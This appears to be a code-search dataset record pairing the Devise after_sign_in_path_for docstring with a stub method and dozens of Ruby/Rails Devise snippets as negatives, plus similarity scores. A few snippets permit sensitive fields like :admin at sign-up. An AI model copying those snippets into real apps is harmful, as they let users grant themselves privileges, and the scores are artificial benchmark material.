"def configure_devise_params\n devise_parameter_sanitizer.for(:sign_up) do |u|\n u.permit(:username, :email, :password, :password_confirmation)\n end\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up) do |user|\n user.permit(:email, :password, :password_confirmation, :remember_me, :first_name, :last_name)\n end\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up)\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(:email, :username, :first_name, :last_name, :birthday, :password, :password_confirmation, :remember_me) }\n devise_parameter_sanitizer.for(:sign_in) { |u| u.permit(:login, :username, :email, :password, :remember_me) }\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(:username, :email, :first_name, :last_name, :age, :country_code, :language_first, :language_second, :sex, :address, :birthday, :password, :password_confirmation, :current_password) }\n end",
"def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in) { |u| u.permit(:email, :password)}\n #devise_parameter_sanitizer.permit(:sign_up) { |u| u.permit(:first_name, :last_name, :email, :password, :password_confirmation)}\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(:email, :password, :fname, :lname, :username, :birthday, :image, :newsletter, :language) }\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(:email, :password, :fname, :lname, :username, :birthday, :image, :description, :phoneNumber, :facebook, :twitter, :googlePlus, :newsletter, :language) }\n end",
"def configure_devise_permitted_parameters\n # We can't easily override here the internal Devise::RegistrionController used by the\n # Engine, because the engine is not namespaced.\n # So we have to resort to some tinkering right here:\n# DEBUG\n# logger.debug( \"\\r\\n\\r\\n!! =====[ #{self.class.name}: configure_devise_permitted_parameters ]====\" )\n# logger.debug( \"- resource...: \" << resource.inspect )\n# logger.debug( \"- PARAMS.....: \" << params.inspect )\n# logger.debug( \"- CTRL.......: \" << params[:controller] )\n# logger.debug( \"- ACTION.....: \" << params[:action] )\n\n # User new/create: do not allow any parameter if recaptcha fails:\n if (params[:controller].to_s == 'devise/registrations') &&\n ( (params[:action].to_s == 'new') || (params[:action].to_s == 'create') )\n# logger.debug( \"In devise/registrations...\" )\n\n if (params[:action].to_s == 'new') || (params[:action].to_s == 'create' && verify_recaptcha)\n devise_parameter_sanitizer.permit(:sign_up) do |user_params|\n user_params.permit(\n :email, :password, :password_confirmation,\n :name, :first_name, :last_name, :description, :year_of_birth\n )\n end\n flash[:error] = nil\n else\n flash[:error] = I18n.t('search_view.captcha_fail')\n end\n end\n\n # User edit/update:\n devise_parameter_sanitizer.permit(:account_update) do |user_params|\n user_params.permit(\n :email, :password, :password_confirmation,\n :name, :first_name, :last_name, :description, :year_of_birth\n )\n end\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.for(:sign_in) { |u| u.permit(:email, :password) }\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(:email, :password, :password_confirmation) }\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(:email, :password, :password_confirmation, :current_password) }\n end",
"def initialize(app, options={})\n default_strategies = options.delete(:default_strategies)\n\n @app, @config = app, Warden::Config.new(options)\n @config.default_strategies(*default_strategies) if default_strategies\n yield @config if block_given?\n end",
"def enable_devise_user(view)\n without_partial_double_verification do\n allow(view).to receive(:resource) { User.new }\n allow(view).to receive(:resource_class) { User }\n allow(view).to receive(:resource_name) { :user }\n allow(view).to receive(:devise_mapping) { Devise.mappings[:user] }\n end\n end",
"def check_for_initial_install\n #Don't do anything if a user is logged in\n unless user_signed_in?\n #if the flag set in the seeds file still isn't set to true and there are no users, let's do our thing\n if ConcertoConfig[:setup_complete] == \"false\" && User.all.empty?\n redirect_to new_user_registration_path\n end\n end\n end",
"def setup_user\n User.new( \n age: 5,\n bio: \"My test bio\",\n password: SecureRandom.hex(6),\n email: SecureRandom.hex(4) + \"@example.com\",\n picture: \"blah.jpg\",\n sex: \"M\",\n username: SecureRandom.hex(4)\n )\n end",
"def configure_permitted_parameters\n \tdevise_parameter_sanitizer.for(:sign_up) { |u| u.permit(:first_name, :last_name, :email, :password, :password_confirmation) }\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up) { |user| user.permit(:username, :email, :password, :password_confirmation) }\n devise_parameter_sanitizer.permit(:sign_in) { |user| user.permit(:username, :email, :password, :password_confirmation) }\n devise_parameter_sanitizer.permit(:account_update) { |user| user.permit(:email, :password, :password_confirmation) }\n end",
"def user_setup\n\t\tif self.id.blank?\n\t\t\tself.id = self.email\n\t\t\n\t\tend\n\tend",
"def configure_permitted_parameters\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(:username, :email, :password, :password_confirmation, :remember_me) }\n devise_parameter_sanitizer.for(:sign_in) { |u| u.permit(:login, :username, :email, :password, :remember_me) }\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(:username, :email, :password, :password_confirmation, :current_password) }\n end",
"def configure_sign_up_params\n devise_parameter_sanitizer.for(:sign_up) << :attribute\n end",
"def configure_sign_up_params\n devise_parameter_sanitizer.for(:sign_up) << :attribute\n end",
"def configure_sign_up_params\n devise_parameter_sanitizer.for(:sign_up) << :attribute\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(:first_name, :last_name, :email, :password, :password_confirmation) }\n \tdevise_parameter_sanitizer.for(:sign_in) { |u| u.permit(:first_name, :last_name, :email, :password) }\n \tdevise_parameter_sanitizer.for(:account_update) { |u| u.permit(:first_name, :last_name, :email, :password, :password_confirmation) }\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(:first_name, :last_name, :email, :username, :password, :password_confirmation, :remember_me) }\n devise_parameter_sanitizer.for(:sign_in) { |u| u.permit(:login, :username, :password, :remember_me) }\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(:first_name, :last_name, :email, :username, :password, :password_confirmation, :current_password) }\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_in, keys: %i[login username password])\n devise_parameter_sanitizer.permit(:sign_up, keys: %i[username email password password_confirmation])\n devise_parameter_sanitizer.permit(:account_update, keys: %i[username email password password_confirmation])\n end",
"def devise_create_new_rails_user\n build_resource(sign_up_params)\n\n resource.save\n\n yield resource if block_given?\n if resource.persisted?\n if resource.active_for_authentication?\n set_flash_message :notice, :signed_up if is_flashing_format?\n sign_up(resource_name, resource)\n respond_with resource, location: after_sign_up_path_for(resource)\n else\n set_flash_message :notice, :\"signed_up_but_#{resource.inactive_message}\" if is_flashing_format?\n expire_data_after_sign_in!\n respond_with resource, location: after_inactive_sign_up_path_for(resource)\n end\n else\n clean_up_passwords resource\n set_minimum_password_length\n respond_with resource\n end\n end",
"def apply_devise_schema(name, type, options={})\n column name, type.to_s.downcase.to_sym, options\n end",
"def configure_sign_up_params\n devise_parameter_sanitizer.for(:sign_up) << :soft_token\n end",
"def developer\n uid = [:name, :uni, :uid].map { |key| request.env['omniauth.auth'][:info][key] }.detect(&:present?)\n email = request.env['omniauth.auth'][:info][:email]\n current_user ||= User.find_or_create_by!(uid: uid, email: email, provider: :developer)\n\n sign_in_and_redirect current_user, event: :authentication\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(:username, :email, :password, :password_confirmation, :remember_me, :user_level) }\n devise_parameter_sanitizer.for(:sign_in) { |u| u.permit(:login, :username, :email, :password, :remember_me) }\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(:username, :email, :password, :password_confirmation, :current_password) }\n end",
"def seed_database\n puts \"default_account_name: #{Cadenero.default_account_name}\"\n puts \"default_account_subdomain: #{Cadenero.default_account_subdomain}\"\n puts \"default_user_email: #{Cadenero.default_user_email}\"\n puts \"default_user_password: #{Cadenero.default_user_password}\"\n\n load \"#{Rails.root}/config/initializers/cadenero.rb\"\n unless options[\"no-migrate\"]\n puts \"Creating default cadenero account and owner\"\n Cadenero::Engine.load_seed\n end\n end",
"def config_setup\n [\n Project,\n Affiliate,\n Employee,\n EmployeeSession,\n Ldaper,\n User,\n UserSession,\n Company,\n Admin\n ].each do |model|\n unless model.respond_to?(:original_acts_as_authentic_config)\n model.class_attribute :original_acts_as_authentic_config\n end\n model.original_acts_as_authentic_config = model.acts_as_authentic_config\n end\n end",
"def sign_up(resource_name, resource)\n sign_in(resource_name, resource) unless current_user_is_admin?\n end",
"def configure_sign_up_params\n devise_parameter_sanitizer.for(:sign_up) << User.column_names\n end",
"def sign_up(resource_name, resource)\r\n # Create an account for this user.\r\n account = Account.create(name: \"#{resource.email}'s account\")\r\n \r\n # Sign in the user (from the original Devise::RegistrationsController).\r\n sign_in(resource_name, resource)\r\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up) do |u|\n u.permit(:username, :email, :password, :password_confirmation,\n :remember_me)\n end\n devise_parameter_sanitizer.permit(:sign_in) do |u|\n u.permit(:login, :username, :email, :password, :remember_me)\n end\n devise_parameter_sanitizer.permit(:account_update) do |u|\n u.permit(:username, :email, :password, :password_confirmation,\n :current_password)\n end\n end",
"def create\n if params[:user][:password].blank?\n password = SecureRandom.base64(10)\n params[:user][:password] = password\n params[:user][:password_confirmation] = password\n end\n\n # Copied from devise-4.6.1/app/controllers/devise/registrations_controller.rb\n build_resource(sign_up_params)\n\n resource.save\n yield resource if block_given?\n if resource.persisted?\n if resource.active_for_authentication?\n set_flash_message! :notice, :signed_up\n # sign_up(resource_name, resource)\n # respond_with resource, location: after_sign_up_path_for(resource)\n else\n set_flash_message! :notice, :\"signed_up_but_#{resource.inactive_message}\"\n expire_data_after_sign_in!\n # respond_with resource, location: after_inactive_sign_up_path_for(resource)\n end\n\n resource.send_account_created_instructions\n else\n clean_up_passwords resource\n set_minimum_password_length\n # respond_with resource\n end\n @users = User.order(:last_name, :first_name)\n @user = current_user\n\n if @user.nil?\n redirect_to :root, notice: \"You have been signed up. Please check your email to set a password and complete your registration.\"\n else\n render :index\n end\n end",
"def user_app_data\n\t\t# assign devise user as instance variable\n\t\t@user = devise_current_user\n\tend",
"def configure_sign_up_params\n # devise_parameter_sanitizer.permit(:sign_up, keys: [:attribute])\n # devise_parameter_sanitizer.permit(:sign_up) do |user_params|\n # user_params.permit(:email, :password, :password_confirmation)\n # end\n params.require(:user).permit(:email, :password, :password_confirmation)\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up) do |u|\n u.permit(:first_name, :last_name, :email, :password)\n end\n\n devise_parameter_sanitizer.permit(:account_update) do |u|\n u.permit(:first_name, :last_name, :email, :password, :current_password)\n end\n end",
"def configuration_setup\n dirname = File.expand_path(USER_DIR)\n if !File.exists?(dirname)\n Dir.mkdir(dirname) \n create_storage_dir\n create_staging_dir\n create_user_conf_file\n create_user_email_conf_file\n else \n create_user_conf_file if !File.exists?(USER_CONF_FILE)\n create_storage_dir if !File.exists?(File.expand_path(STORAGE_DIR))\n create_staging_dir if !File.exists?(File.expand_path(STAGING_DIR))\n create_user_email_conf_file if !File.exists?(EMAIL_CONF_FILE)\n end\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.permit(:sign_up, keys: [:first_name, :last_name, :birthdate, :phone] )\n end",
"def configure_sign_up_params\n devise_parameter_sanitizer.for(:sign_up) << [:first_name, :last_name]\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.for(:sign_up) do |u|\n u.permit(:name, :lastName, :address, :phone, :mobilePhone, :email, :password)\n end\n devise_parameter_sanitizer.for(:account_update) do |u|\n u.permit(:name, :lastName, :address, :phone, :mobilePhone, :email, :password, :current_password)\n end\n end",
"def auth_browserid(package_dir)\n replace('Gemfile',\n \"gem 'devise'\",\n \"gem 'devise'\\ngem 'devise_browserid_authenticatable'\")\n \n Bundler.with_clean_env do\n system \"bundle install\"\n end\n system \"rails g auth_browserid\"\n \n system \"git add -A\"\n system \"git commit -m 'Add browserid_authentication'\"\nend",
"def configure_permitted_parameters\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(:first_name, :surname, :email, :role_id, :job_grade, :line_manager, :admin, :password, :password_confirmation) }\n devise_parameter_sanitizer.for(:sign_in) { |u| u.permit(:first_name, :surname, :email, :password, :remember_me) }\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(:first_name, :surname, :email, :role_id, :line_manager, :admin, :password, :password_confirmation, :current_password) }\n\tend",
"def configure_permitted_parameters\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(:name, :email, :password, :password_confirmation, :remember_me) }\n end",
"def configure_permitted_parameters\n \tdevise_parameter_sanitizer.permit( :sign_up, keys: [:name, :password, :password_confirmation, :remember_me] )\n end",
"def configure_sign_up_params\n devise_parameter_sanitizer.for(:sign_up) << :first_name << :last_name << :phone_number\n end",
"def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, \\\n keys: %i[name date_of_birth username terms_of_service])\n end",
"def start_configuration\n post \"/setup/api/configure\", password_hash\n end",
"def configure_sign_up_params\n devise_parameter_sanitizer.permit(:sign_up, keys: [:first_name, :last_name, :email, :password, :password_confirmation, :admin])\n end",
"def configure_sign_up_params\n devise_parameter_sanitizer.for(:sign_up) << :first_name << :last_name\n end",
"def configure_sign_up\n devise_parameter_sanitizer.permit(:sign_up, keys: [:username, :avatar])\n end",
"def configure_permitted_parameters\n\n devise_parameter_sanitizer.permit(:sign_up) { |u| u.permit(:name, :email, :phone_number, :password, :remember_me)}\n devise_parameter_sanitizer.permit(:sign_in) { |u| u.permit(:name, :email, :password, :remember_me)}\n devise_parameter_sanitizer.permit(:account_update) { |u| u.permit(:name, :email, :password, :remember_me)}\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.for(:sign_up) << :first_name\n devise_parameter_sanitizer.for(:sign_up) << :last_name\n end",
"def init!\n # check if configuration file is already created\n unless File.exist?(CONFIG_FILE)\n puts \"=> [PagSeguro] The configuration could not be found at #{CONFIG_FILE.inspect}\"\n return\n end\n \n # The developer mode is enabled? So install it!\n developer_mode_install! if developer?\n end",
"def configure_sign_up_params\n devise_parameter_sanitizer.permit(\n :sign_up, keys: authentication_params(type: :sign_up)\n )\n end"
] | [
"0.7492007",
"0.6516155",
"0.63929355",
"0.61673415",
"0.5923616",
"0.5700711",
"0.563212",
"0.5613101",
"0.5571621",
"0.5541415",
"0.5429833",
"0.5429833",
"0.5429833",
"0.5408335",
"0.53179747",
"0.52426136",
"0.50626045",
"0.50188977",
"0.498464",
"0.49749243",
"0.49390104",
"0.49355784",
"0.4935035",
"0.4924445",
"0.48460442",
"0.48418543",
"0.48365873",
"0.4824128",
"0.4806608",
"0.48027816",
"0.47975582",
"0.4786387",
"0.47826877",
"0.4772252",
"0.4762531",
"0.47542912",
"0.47414884",
"0.47385272",
"0.47279668",
"0.47266203",
"0.4725051",
"0.47243807",
"0.47218508",
"0.47178942",
"0.471327",
"0.47056004",
"0.4698237",
"0.4689547",
"0.46866763",
"0.4671892",
"0.46587154",
"0.46549147",
"0.46498936",
"0.46431422",
"0.4643028",
"0.46314803",
"0.46293584",
"0.46266702",
"0.46256348",
"0.46250913",
"0.4620673",
"0.4617437",
"0.46162385",
"0.46162385",
"0.46162385",
"0.46130797",
"0.4610639",
"0.46042368",
"0.4586131",
"0.45742214",
"0.45692587",
"0.45669636",
"0.45662847",
"0.4560233",
"0.45601487",
"0.4549279",
"0.45485377",
"0.45441195",
"0.4542476",
"0.45389512",
"0.4536385",
"0.45342165",
"0.45275658",
"0.45254186",
"0.45223576",
"0.4517352",
"0.4514119",
"0.45138988",
"0.45129707",
"0.4505763",
"0.44962415",
"0.44947234",
"0.44906205",
"0.4490223",
"0.44872746",
"0.4486754",
"0.44839334",
"0.44772643",
"0.4469749",
"0.44680983",
"0.44679227"
] | 0.0 | -1 |
Sets warden configuration using a block that will be invoked on warden initialization. Devise.setup do |config| config.allow_unconfirmed_access_for = 2.days config.warden do |manager| Configure warden to use other strategies, like oauth. manager.oauth(:twitter) end end source://devise//lib/devise.rb449 | def warden(&block); end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def devise_install(&block)\n if block_given?\n Devise.setup do |config|\n block.call config\n end\n end\n end",
"def warden\n @warden ||= begin\n env['warden']\n end\n end",
"def initialize(app, options={})\n default_strategies = options.delete(:default_strategies)\n\n @app, @config = app, Warden::Config.new(options)\n @config.default_strategies(*default_strategies) if default_strategies\n yield @config if block_given?\n end",
"def configure_warden!; end",
"def warden_options\n env['warden.options']\n end",
"def warden\n env['warden']\n end",
"def warden\n env['warden']\n end",
"def warden\n request.env['warden']\n end",
"def configure(&block)\n config.run_callbacks(:configure) do\n config.instance_eval(&block)\n end\n end",
"def warden\n request.env['warden']\n end",
"def warden\n request.env['warden']\n end",
"def warden\n request.env['warden']\n end",
"def strategies\n Warden::Strategies\n end",
"def setup_warden_additions\n @failure_app = Oath::Lockdown::FailureApp\n @lockable_authentication_strategy = Oath::Lockdown::Strategies::LockablePasswordStrategy\n @remember_me_authentication_strategy = Oath::Lockdown::Strategies::RememberMeStrategy\n @warden_authentication_strategies = [:oath_remember_me, :oath_lockable, :oath]\n @warden_no_input_authentication_strategies = [:oath_remember_me]\n end",
"def add_config_options_to_initializer\n devise_initializer_path = \"config/initializers/devise.rb\"\n if File.exist?(devise_initializer_path)\n old_content = File.read(devise_initializer_path)\n\n if old_content.match(Regexp.new(/^\\s# ==> Configuration for :trialable\\n/))\n false\n else\n inject_into_file(devise_initializer_path, :before => \" # ==> Configuration for :confirmable\\n\") do\n<<-CONTENT\n # ==> Configuration for :trialable\n # The period a user can access the site without enrolling\n # config.trial_period = 60.days\n\nCONTENT\n end\n end\n end\n end",
"def authenticate_from_warden\n warden = env[\"warden\"]\n return unless warden\n\n env[\"warden\"].authenticate(scope: \"user\")\n end",
"def configure &block\n @config_helper = ConfigHelper.new(&block)\n end",
"def wedge_setup(&block)\n block.call wedge_config\n end",
"def configure\n @configuration ||= Gatekeeper::Configuration.new\n yield @configuration\n end",
"def warden; end",
"def warden; end",
"def warden; end",
"def configure(&block)\n Fastfood::Configuration.instance_eval( &block )\n end",
"def notifier_settings(&block)\n @mail_configuration = Backup::Configuration::Mail.new\n @mail_configuration.instance_eval &block\n end",
"def config(&block_)\n ::Blockenspiel.invoke(block_, @config) if block_\n @config\n end",
"def setup(&block)\n Config.setup(&block)\n end",
"def set_garden\n @garden = Garden.find(params[:garden_id])\n end",
"def set_garden\n @garden = Garden.find(params[:id])\n end",
"def set_garden\n @garden = Garden.find(params[:id])\n end",
"def devise_modules_hook!; end",
"def configure(&block)\n configurator.configure(&block)\n end",
"def update_devise_rb\n inject_into_file 'config/initializers/devise.rb', after: \"config.sign_out_via = :delete\\n\" do <<-'RUBY'\n\n # Config Social Keys to create the SignUps\n config.sign_out_via = :get\n config.omniauth :facebook, ENV[\"FACEBOOK_KEY\"], ENV[\"FACEBOOK_SECRET\"], { :scope => 'email, offline_access', :client_options => {:ssl => {:ca_file => '/usr/lib/ssl/certs/ca-certificates.crt'}}}\n config.omniauth :twitter, ENV[\"TWITTER_KEY\"], ENV[\"TWITTER_SECRET\"], { :scope => 'r_fullprofile, r_emailaddress', :client_options => {:ssl => {:ca_file => '/usr/lib/ssl/certs/ca-certificates.crt'}}}\n config.omniauth :linkedin, ENV[\"LINKEDIN_KEY\"], ENV[\"LINKEDIN_SECRET\"], { :scope => 'r_fullprofile r_emailaddress', :client_options => {:ssl => {:ca_file => '/usr/lib/ssl/certs/ca-certificates.crt'}}}\n config.omniauth :github, ENV['GITHUB_KEY'], ENV['GITHUB_SECRET'], scope: \"user, public_repo\"\n config.omniauth :google_oauth2, ENV['GOOGLE_KEY'], ENV['GOOGLE_SECRET'], {}\n\n RUBY\n end\n\n puts 'Check your config/initializers/devise.rb which was updated to have the Social Keys used (OmniAuth linked to devise)'.colorize(:light_green)\n puts 'UPDATE your config/initializers/devise.rb if you need more data from the user, CHANGING the: SCOPE'.colorize(:light_yellow)\n end",
"def configure(&block)\n block.call Configuration\n end",
"def configure(&block)\n self.config = Config.new(self)\n config.instance_eval(&block)\n\n attr_accessor *config.accessors\n attr_reader *config.setters.keys\n\n config.setters.each do |name, definition|\n define_method(:\"#{name}=\", definition)\n end\n end",
"def setup(&block)\n settings.instance_eval(&block) if block_given?\n end",
"def configure(&block)\n @configure_blocks ||= []\n @configure_blocks << block\n end",
"def configure(&block)\n raise ArgumentError, \"Block required in order to configure\" unless block_given?\n \n yield @config\n end",
"def configure( &block )\n @configuration = block\n end",
"def configure(&block)\n yield(configuration)\n end",
"def configure(&block)\n yield config\n end",
"def configure(&block)\n yield config\n config\n end",
"def config(&block)\n yield(self)\n end",
"def configure(&block)\n yield(configuration)\n end",
"def configure &block\n configuration.tap { |conf| yield conf }\n end",
"def setup_config(config=nil, &block)\n @config = config || ConfigStruct.block_to_hash(block)\n end",
"def setup(config={})\n if block_given?\n yield(self.config.dup)\n end\n # merge new settings\n self.configure(config)\n end",
"def configure(&block)\n @config = BeaconControl::Base::Config.new &block\n end",
"def configuration_defaults(&block)\n @configuration_defaults = block\n end",
"def after_configure(&block)\n mod = self\n config.class.set_callback(:configure, :after,\n proc { mod.instance_eval(&block) })\n end",
"def configure(&block)\n self.instance_eval(&block)\n end",
"def configure_with_block(&block)\n self.instance_eval(&block) if block_given?\n end",
"def configure_with_block(&block)\n self.instance_eval(&block) if block_given?\n end",
"def authenticate!\n warden.authenticate!\n end",
"def configure &block\n\t\tinstance_eval &block\n\tend",
"def config(&blk)\n scope &blk\n self\n end",
"def config(&block)\n if block_given?\n c = Config.new\n c.instance_eval(&block)\n @config = c\n end\n\n @config ||= Config.new\n end",
"def config(&block)\n instance_eval(&block) if block_given?\n end",
"def before_configuration(&block); end",
"def configure(&block)\n self.instance_eval(&block) if block_given?\n end",
"def configure_permitted_parameters\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(:dealer_code,\n :password,\n :password_confirmation,\n :remember_me) }\n devise_parameter_sanitizer.for(:sign_in) { |u| u.permit(:dealer_code,\n :password,\n :remember_me) }\n end",
"def configure(&block)\n instance_eval(&block)\n end",
"def configure(&block)\n instance_eval(&block)\n end",
"def setup(&block)\n block.call config if block_given?\n end",
"def setup\n @request.env[\"devise.mapping\"] = Devise.mappings[:admin]\n sign_in FactoryGirl.create(:admin)\n end",
"def set_user_in_warden(scope, resource)\n scope = Devise::Mapping.find_scope!(scope)\n warden.set_user(resource, scope: scope, store: false)\n end",
"def configure(config = nil, &block)\n config ||= Util::BlockHashBuilder.build(&block)\n @config = config.dup.freeze\n end",
"def configure_spree_preferences\n config = Rails.application.config.spree.preferences\n yield(config) if block_given?\n end",
"def config_setup\n [\n Project,\n Affiliate,\n Employee,\n EmployeeSession,\n Ldaper,\n User,\n UserSession,\n Company,\n Admin\n ].each do |model|\n unless model.respond_to?(:original_acts_as_authentic_config)\n model.class_attribute :original_acts_as_authentic_config\n end\n model.original_acts_as_authentic_config = model.acts_as_authentic_config\n end\n end",
"def configure\n yield(config)\n end",
"def configure\n self.configuration ||= Configuration.new\n\n yield(configuration) if block_given?\n \n configuration.validate!\n\n setup if configuration.enabled?\n end",
"def configure\n configuration.enabled = true if configuration.enabled.nil?\n\n yield(configuration.configured_options)\n end",
"def configure_apps(&block)\n return unless block_given?\n global_configurations << block\n end",
"def configure(&block)\n fail InvalidSyntax, '`configure` requires a block.' unless block_given?\n\n Vedeu::Configuration.configure(&block)\n end",
"def devise_controller?; end",
"def configure\n yield config if block_given?\n end",
"def configure\n yield(config)\n end",
"def current_user=(user)\n warden.set_user(user, event: :authentication)\n end",
"def config(&block)\n if block_given?\n @@config = Config.new\n @@config.tap(&block)\n else\n @@config\n end\n end",
"def devise_mappings; end",
"def configure\n yield config if block_given?\n end",
"def configure\n yield config if block_given?\n end",
"def after_configuration(&block)\n @after_configuration << block\n end",
"def configure(&block)\n site.configure &block\n end",
"def configure\n if block_given?\n yield self\n else\n raise LocalJumpError, \"Required configuration block\"\n # TODO: allow users to pass configuration using an environment variable\n end\n end",
"def configure\n yield(self.config) if block_given?\n end",
"def devise_scope(scope); end",
"def alternative_config!\n JabberAdmin.configure do |conf|\n conf.username = '[email protected]'\n conf.password = 'defaultpw'\n conf.url = 'http://jabber.local/api'\n end\nend",
"def setup_controller_for_warden; end",
"def configure(environment = nil, &blk)\n configurations.add(environment, &blk)\n end",
"def config(&block)\n @config ||= Configuration.new\n instance_exec(@config, &block) if block_given?\n @config\n end",
"def config(&block)\n if block_given?\n block.call(@config)\n else\n @config\n end\n end",
"def enforce_configured_scopes\n @config.instance_variable_set(:@enforce_configured_scopes, true)\n end",
"def configure\n @config ||= DATPages::Config.new\n yield(@config) if block_given?\n @config\n end",
"def with_config(overrides, &block)\n scoped(nil, overrides, &block)\n end",
"def configure\n yield configuration if block_given?\n end",
"def configure\n yield configuration if block_given?\n end",
"def setup\n @configs ||= Configuration.config\n \n yield(@configs) if block_given?\n \n @configs\n end",
"def set_config\n @me = current_user\n @profile = Profile.find_by user_id: current_user.id\n @preference = Preference.find_by user_id: current_user.id\n end",
"def configure\n yield(config)\n config\n end",
"def config(&block)\n instance_exec(&block)\n end"
] | [
"0.60763353",
"0.59227175",
"0.58624446",
"0.5832411",
"0.57695043",
"0.5624022",
"0.5624022",
"0.54588443",
"0.5454099",
"0.54460955",
"0.54460955",
"0.54460955",
"0.5434343",
"0.54120314",
"0.53698915",
"0.5341713",
"0.5277309",
"0.52513546",
"0.5204548",
"0.51967084",
"0.51967084",
"0.51967084",
"0.51890266",
"0.5178767",
"0.5169434",
"0.5153621",
"0.5142271",
"0.51156807",
"0.51156807",
"0.50847065",
"0.5049802",
"0.5016594",
"0.5003606",
"0.49888134",
"0.49767128",
"0.4960044",
"0.4959386",
"0.49543294",
"0.49540856",
"0.49529812",
"0.4944543",
"0.49413708",
"0.49226776",
"0.4913047",
"0.4912659",
"0.49021438",
"0.488917",
"0.48826826",
"0.48824087",
"0.487412",
"0.48548135",
"0.48548135",
"0.4852214",
"0.48514846",
"0.4848323",
"0.48413125",
"0.48402748",
"0.4828943",
"0.48160878",
"0.48159534",
"0.48098218",
"0.48098218",
"0.4803811",
"0.47977304",
"0.4787086",
"0.47600675",
"0.47581306",
"0.47479773",
"0.47439057",
"0.47333437",
"0.47310483",
"0.47256207",
"0.47253305",
"0.47245097",
"0.47235513",
"0.47225592",
"0.47169226",
"0.47094637",
"0.4707745",
"0.4703825",
"0.4703825",
"0.47037593",
"0.46966016",
"0.46912983",
"0.4688538",
"0.46837643",
"0.4682668",
"0.4674365",
"0.46599397",
"0.46541366",
"0.4649348",
"0.4647841",
"0.4646434",
"0.46460927",
"0.46286362",
"0.46263063",
"0.46255141",
"0.46193328",
"0.46038714",
"0.4595867"
] | 0.51272607 | 27 |
The default url to be used after signing in. This is used by all Devise controllers and you can overwrite it in your ApplicationController to provide a custom hook for a custom resource. By default, it first tries to find a valid resource_return_to key in the session, then it fallbacks to resource_root_path, otherwise it uses the root path. For a user scope, you can define the default url in the following way: get '/users' => 'usersindex', as: :user_root creates user_root_path namespace :user do root 'usersindex' creates user_root_path end If the resource root path is not defined, root_path is used. However, if this default is not enough, you can customize it, for example: def after_sign_in_path_for(resource) stored_location_for(resource) || if resource.is_a?(User) && resource.can_publish? publisher_url else super end end source://devise//lib/devise/controllers/helpers.rb215 | def after_sign_in_path_for(resource_or_scope); end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def after_sign_in_path_for(_resource)\n root_url\n end",
"def after_sign_in_path_for(resource)\n sign_in_url = new_user_session_url\n if request.referer == sign_in_url\n super\n else\n stored_location_for(resource) || request.referrer || root_path\n end\n end",
"def after_sign_in_path_for(resource)\n if request.referer =~ /\\/users/\n super\n else\n stored_location_for(resource) || request.referer || root_path\n end\n end",
"def after_sign_in_path_for(resource)\n default_url = dashboard_path\n stored_path = request.env['omniauth.origin'] || stored_location_for(resource)\n case stored_path.try(:gsub, root_url, '/')\n when root_path\n # Don't return to homepage\n default_url\n when %r{\\A/users/}\n # Don't return to sign in/up page\n default_url\n else\n stored_path\n end || default_url\n end",
"def default_sign_in_url\n sign_in_url\n end",
"def after_sign_in_path_for(resource_or_scope)\n if params[:return_to].present?\n session[:return_to] = params[:return_to]\n elsif session[:return_to].present?\n session[:return_to]\n else\n root_url\n end\n end",
"def default_sign_in_url\n user_sign_in_url\n end",
"def after_sign_in_path_for(resource)\n session[:user_return_to] || root_path\n end",
"def after_sign_in_path_for(resource)\n sign_in_url = new_user_session_url\n if request.referer == sign_in_url\n super\n else\n stored_location_for(resource) || request.referer || root_path\n end\n end",
"def after_sign_in_path_for(resource)\n session.delete(:auth_return_url) || request.env['omniauth.origin'] || stored_location_for(resource) || signed_in_root_path(resource)\n end",
"def after_sign_in_path_for(resource)\n session[\"user_return_to\"] || root_path\n end",
"def after_sign_in_path_for(resource)\n session[\"user_return_to\"] || root_path\n end",
"def after_sign_in_path_for(resource)\n session[\"user_return_to\"] || root_path\n end",
"def after_sign_in_path_for(resource_or_scope)\n session[:return_to] || super\n end",
"def after_sign_in_path_for(resource)\n stored_location_for(resource) || root_path\n end",
"def after_sign_in_path_for(resource)\r\n stored_location_for(resource) || root_path\r\n end",
"def after_sign_in_path_for(_resource_or_scope)\n user_root_path\n end",
"def after_sign_in_path_for(resource)\n stored_location_for(:user) || super\n end",
"def after_sign_in_path_for(resource_or_scope)\n case resource_or_scope\n when :user, User\n store_location = session[:return_to]\n clear_stored_location\n store_location = \"/\" if store_location && store_location.include?(\"/users/\")\n (store_location.nil?) ? \"/\" : store_location.to_s\n else\n super\n end\n end",
